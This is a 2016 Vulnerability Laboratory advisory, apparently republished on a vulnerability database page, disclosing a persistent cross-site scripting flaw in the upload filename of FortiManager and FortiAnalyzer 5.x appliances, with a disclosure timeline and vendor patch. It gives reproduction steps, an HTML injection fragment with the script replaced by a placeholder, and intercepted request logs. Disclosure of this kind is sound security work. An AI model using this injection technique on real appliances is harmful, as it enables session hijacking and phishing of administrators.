Lucene search
K

FortiManager / FortiAnalyzer 5.x Script Insertion

🗓️ 04 Apr 2016 00:00:00Reported by Marco OnoratiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 47 Views

FortiManager & FortiAnalyzer 5.x Persistent Web Vulnerability - Remote Attac

Code
`Document Title:  
===============  
FortiManager & FortiAnalyzer 5.x (Appliance Application) - (filename)  
Persistent Web Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1687  
  
Fortinet PSIRT ID: 1624561  
  
  
Release Date:  
=============  
2016-04-04  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1687  
  
  
Common Vulnerability Scoring System:  
====================================  
3.7  
  
  
Product & Service Introduction:  
===============================  
FortiManager appliances allow you to centrally manage any number of  
Fortinet devices, from several to thousands, including FortiGate®,  
FortiWiFi™,  
FortiCarrier™, FortiMail™ and FortiAnalyzer™ appliances and virtual  
appliances, as well as FortiClient™ endpoint security agents. You can  
further  
simplify control and management of large deployments by grouping devices  
and agents into administrative domains (ADOMs).  
  
The FortiManager family of management appliances provides centralized  
policy-based provisioning, device configuration, and update management for  
FortiGate, FortiWiFi, and FortiMail appliances, and FortiClient  
end-point security agents, plus end-to-end network monitoring and device  
control.  
FortiManager delivers a lower TCO for Fortinet implementations by  
minimizing both initial deployment costs and ongoing operating expenses.  
Control  
administrative access and simplify policy deployment using role-based  
administration to define user privileges for specific management domains  
and  
functions, and aggregating collections of Fortinet appliances and agents  
into independent management domains. In addition, by locally hosting  
security  
content updates for managed devices and agents, FortiManager appliances  
minimize Web filtering rating request response time and maximize network  
protection.  
  
(Copy of the Vendor Homepage:   
http://www.avfirewalls.com/FortiManager-Series.asp )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Core Research Team discovered a persistent  
web validation vulnerability in the official Fotinet FortiManager and  
FortiAnalyzer appliance product series.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2016-01-25: Researcher Notification & Coordination (Marco Onorati -  
Evolution Security GmbH)  
2016-01-26: Vendor Notification (FortiGuard Security Team)  
2016-02-10: Vendor Response/Feedback (FortiGuard Security Team)  
2016-03-24: Vendor Fix/Patch (Fortinet Developer Team)  
2016-04-04: Security Bulletin (FortiGuard Security Team) [Acknowledgements]  
2016-04-04: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Fortinet  
Product: FortiManager - Appliance (Web-Application) 200D, 300D, 1000D,   
3900E, 4000E, Virtual Appliances Versio  
  
Fortinet  
Product: FortiManager - Appliance (Web-Application) Legacy - 100, 100C,  
400A, 400B, 400C, 1000C, 3000C & 4000  
  
Fortinet  
Product: FortiAnalyzer - Appliance (Web-Application) 200D, 300D, 1000D,  
2000D, 3000E, 3500E, 3900E, VM Base & VM  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
A persistent input validation web vulnerability and filter bypass issue  
has been discovered in the official Fotinet FortiManager and  
FortiAnalyzer appliance product series.  
The application-side web vulnerability allows remote attackers to inject  
own malicious script codes to the application-side of the affected  
modules context.  
  
The vulnerability is located in the `filename` value of the ` Layout  
Header [Header Image]` module. Remote attackers with low privileged  
web-application user accounts  
are able to inject own malicious script codes to the application-side of  
the affected ` Advanced Settings - Advanced Settings - Layout Header`  
module. The request method  
to inject is POST and the issue is located on the application-side of  
the fortimanager/fortianalyzer appliance web-application.  
  
The security risk of the client-side cross site scripting web  
vulnerability is estimated as medium with a cvss (common vulnerability  
scoring system) count of 3.7.  
Exploitation of the application-side web vulnerability requires no  
privileged web-application user account and low or medium user  
interaction. Successful exploitation  
of the vulnerability results in persistent phishing, session hijacking,  
persistent external redirect to malicious sources and application-side  
manipulation of affected  
or connected web module context.  
  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] /report/graphic/upload/  
  
Vulnerable Parameter(s):  
[+] filename  
  
Affected Serie(s): FortiManager  
[+] FortiManager 200D  
[+] FortiManager 300D  
[+] FortiManager 1000D  
[+] FortiManager 3900E  
[+] FortiManager-4000E  
[+] FortiManager Virtual Appliances  
[+] FortiMoM-VM  
  
FortiManager Legacy Models  
[+] FortiManager 100  
[+] FortiManager 100C  
[+] FortiManager 400A  
[+] FortiManager 400B  
[+] FortiManager 400C  
[+] FortiManager 1000C  
[+] FortiManager 3000C  
[+] FortiManager 4000D  
  
Affected Serie(s): FortiAnalyzer  
[+] FortiAnalyzer 200D  
[+] FortiAnalyzer 300D  
[+] FortiAnalyzer 1000D  
[+] FortiAnalyzer 2000B  
[+] FortiAnalyzer 3000E  
[+] FortiAnalyzer 3500E  
[+] FortiAnalyzer 3900E  
[+] FortiAnalyzer VM Base  
[+] FortiAnalyzer VM GB1  
[+] FortiAnalyzer VM GB5  
[+] FortiAnalyzer VM GB25  
[+] FortiAnalyzer VM GB100  
[+] FortiAnalyzer VM GB500  
[+] FortiAnalyzer VM GB2000  
  
  
Proof of Concept (PoC):  
=======================  
The persistent input validation web vulnerability can be exploited by  
local low privileged web-application user accounts and low user  
interaction (click).  
For security demonstration or to reproduce the vulnerability follow the  
provided information and steps below to continue.  
  
Manual steps to reproduce the vulnerability ...  
1. Login to the Fortinet FortiManager appliance web-application  
2. Open the following module Reports > Reports > Client Reputation >  
Advanced Settings > Advanced Settings > Layout Header  
3. Scroll to the layout header section  
4. Start a session tamper to intercept the http protocol communication  
5. Choose a random file and perform the upload  
6. Change with the live session tamper the filename value of the logo to  
a script code payload  
7. Wait since the upload has been performed and click next to the upload  
input field  
8. The script code executes were the filename is normally visible next  
to the upload via submit  
9. Successful reproduce of the vulnerability!  
  
Note: There could be other sections that are affected after the inject  
were the logo image is displayed finally!  
  
  
PoC: (Source) Reports > Reports > Client Reputation > Advanced Settings  
> Advanced Settings > Layout Header [Header Image] (filename)  
PoC: Reports > Reports > Client Reputation > Advanced Settings >  
Advanced Settings > Layout Header [Header Image] (filename)  
<td id="yui_3_5_0_1_1453826860703_2595"><input  
value="{user_img_path}/"><"<img src="x">%20%20>"<[PERSISTENT INJECTED  
SCRIPT CODE VIA FILENAME!]>2.png" name="header-image"  
type="hidden"><button id="yui_3_5_0_1_1453826860703_2594"  
type="button">Choose...</button><span>"><"<img src="x">%20%20>"<iframe  
src="a">%20<iframe>2.png</iframe></span></td>  
</tr>  
  
  
--- PoC Session Logs [POST] ---  
Status: 200[OK]  
POST https://localhost:8080/p/report/graphic/upload/ Load  
Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des  
Inhalts[-1] Mime Type[text/html]  
Request Header:  
Host[localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0)  
Gecko/20100101 Firefox/43.0]  
  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
Referer[https://localhost:8080/p/report/graphic/]  
Cookie[remoteauth=; forRevert=0; vmConfirm=; tabPosition=;  
showSlave=1; add_dev_later=; auth_state=;  
CURRENT_SESSION=fwIr/L5mHH6KxnWtaRFi1yaM7G8beXiY5GiH+aOh8H/rwrHsVmqyYkn9dERLe0LNKR4xx/yUT1qcGgyxFD6N6A==;  
csrftoken=0658038790fd19a3e4c13d8e92b7dccc]  
Connection[keep-alive]  
POST-Daten:  
POST_DATA[-----------------------------2152057857037  
Content-Disposition: form-data; name="csrfmiddlewaretoken"  
0658038790fd19a3e4c13d8e92b7dccc  
-----------------------------2152057857037  
Content-Disposition: form-data; name="graphic_upload";  
filename=""><[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]>2.png"  
Content-Type: image/png  
-  
Status: 200[OK]  
GET https://localhost:8080/p/jsi18n/proj.report/ Load Flags[LOAD_NORMAL]  
Größe des Inhalts[-1] Mime Type[text/javascript]  
Request Header:  
Host[localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0)  
Gecko/20100101 Firefox/43.0]  
Accept[*/*]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
Referer[https://localhost:8080/p/report/graphic/upload/]  
Cookie[remoteauth=; forRevert=0; vmConfirm=; tabPosition=;  
showSlave=1; add_dev_later=; auth_state=;  
CURRENT_SESSION=fwIr/L5mHH6KxnWtaRFi1yaM7G8beXiY5GiH+aOh8H/rwrHsVmqyYkn9dERLe0LNKR4xx/yUT1qcGgyxFD6N6A==;  
csrftoken=0658038790fd19a3e4c13d8e92b7dccc]  
Connection[keep-alive]  
Response Header:  
Date[Tue, 26 Jan 2016 16:42:00 GMT]  
Server[Apache]  
X-Frame-Options[SAMEORIGIN]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
x-ua-compatible[IE=Edge]  
Keep-Alive[timeout=30, max=169]  
Connection[Keep-Alive]  
Transfer-Encoding[chunked]  
Content-Type[text/javascript]  
-  
Status: 200[OK]  
GET https://localhost:8080/p/report/graphic/list/ Load  
Flags[LOAD_BACKGROUND LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des  
Inhalts[-1] Mime Type[application/json]  
Request Header:  
Host[localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0)  
Gecko/20100101 Firefox/43.0]  
Accept[application/json, text/javascript, */*; q=0.01]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
X-Requested-With[XMLHttpRequest]  
Referer[https://localhost:8080/p/report/graphic/upload/]  
Cookie[remoteauth=; forRevert=0; vmConfirm=; tabPosition=;  
showSlave=1; add_dev_later=; auth_state=;  
CURRENT_SESSION=fwIr/L5mHH6KxnWtaRFi1yaM7G8beXiY5GiH+aOh8H/rwrHsVmqyYkn9dERLe0LNKR4xx/yUT1qcGgyxFD6N6A==;  
csrftoken=0658038790fd19a3e4c13d8e92b7dccc]  
Connection[keep-alive]  
Response Header:  
Date[Tue, 26 Jan 2016 16:42:02 GMT]  
Server[Apache]  
Expires[-1]  
Pragma[no-cache]  
Cache-Control[no-store,no-cache,must-revalidate]  
X-Frame-Options[SAMEORIGIN]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
x-ua-compatible[IE=Edge]  
Keep-Alive[timeout=30, max=167]  
Connection[Keep-Alive]  
Transfer-Encoding[chunked]  
Content-Type[application/json; charset=UTF-8]  
-  
Status: 200[OK]  
GET https://localhost:8080/faz_upload/%22"><[PERSISTENT INJECTED SCRIPT  
CODE VULNERABILITY!]>%3E2.png Load Flags[LOAD_NORMAL] Größe des  
Inhalts[479] Mime Type[text/html]  
Request Header:  
Host[localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0)  
Gecko/20100101 Firefox/43.0]  
Accept[image/png,image/*;q=0.8,*/*;q=0.5]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
Referer[https://localhost:8080/p/report/graphic/upload/]  
Cookie[remoteauth=; forRevert=0; vmConfirm=; tabPosition=;  
showSlave=1; add_dev_later=; auth_state=;  
CURRENT_SESSION=fwIr/L5mHH6KxnWtaRFi1yaM7G8beXiY5GiH+aOh8H/rwrHsVmqyYkn9dERLe0LNKR4xx/yUT1qcGgyxFD6N6A==;  
csrftoken=0658038790fd19a3e4c13d8e92b7dccc]  
Connection[keep-alive]  
Response Header:  
Date[Tue, 26 Jan 2016 16:42:03 GMT]  
Server[Apache]  
X-Frame-Options[SAMEORIGIN]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
x-ua-compatible[IE=Edge]  
Content-Length[479]  
Keep-Alive[timeout=30, max=200]  
Connection[Keep-Alive]  
Content-Type[text/html]  
  
  
Reference(s):  
https://www.fortianalyzer.com/  
https://www.fortianalyzer.com/p/  
https://www.fortianalyzer.com/p/report/  
https://www.fortianalyzer.com/p/jsi18n/  
https://www.fortianalyzer.com/p/report/graphic/  
https://www.fortianalyzer.com/p/jsi18n/proj.report/  
https://www.fortianalyzer.com/p/report/graphic/list/  
https://www.fortianalyzer.com/p/report/graphic/upload/  
https://www.fortianalyzer.com/faz_upload/%22"><[x]>%3E2.png  
  
  
Solution - Fix & Patch:  
=======================  
2016-03-24: Vendor Fix/Patch (Fortinet Developer Team)  
  
The fix is available in the customer area. Customers can install it  
manually or my the automated mechanism of the appliance application.  
  
  
Security Risk:  
==============  
The security risk of the application-side input validation web  
vulnerability in the filename value of the logo upload function is  
estimated as medium. (CVSS 3.7)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Marco Onorati  
([email protected]) [www.vulnerability-lab.com]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without  
any warranty. Vulnerability Lab disclaims all warranties, either expressed  
or implied, including the warranties of merchantability and capability  
for a particular purpose. Vulnerability-Lab or its suppliers are not liable  
in any case of damage, including direct, indirect, incidental,  
consequential loss of business profits or special damages, even if  
Vulnerability-Lab  
or its suppliers have been advised of the possibility of such damages.  
Some states do not allow the exclusion or limitation of liability for  
consequential or incidental damages so the foregoing limitation may not  
apply. We do not approve or encourage anybody to break any vendor licenses,  
policies, deface websites, hack into databases or trade with  
fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com   
- www.evolution-sec.com  
Contact: [email protected] -  
[email protected] - [email protected]  
Section: magazine.vulnerability-db.com -  
vulnerability-lab.com/contact.php -  
evolution-sec.com/contact  
Social: twitter.com/#!/vuln_lab -  
facebook.com/VulnerabilityLab -  
youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php -  
vulnerability-lab.com/rss/rss_upcoming.php -  
vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php -  
vulnerability-lab.com/list-of-bug-bounty-programs.php -  
vulnerability-lab.com/register/  
  
Any modified copy or reproduction, including partially usages, of this  
file requires authorization from Vulnerability Laboratory. Permission to  
electronically redistribute this alert in its unmodified form is  
granted. All other rights, including the use of other media, are  
reserved by  
Vulnerability-Lab Research Team or its suppliers. All pictures, texts,  
advisories, source code, videos and other information on this website  
is trademark of vulnerability-lab team & the specific authors or  
managers. To record, list (feed), modify, use or edit our material contact  
([email protected] or [email protected]) to get a  
permission.  
  
Copyright © 2016 | Vulnerability Laboratory - [Evolution  
Security GmbH]™  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com  
CONTACT: [email protected]  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation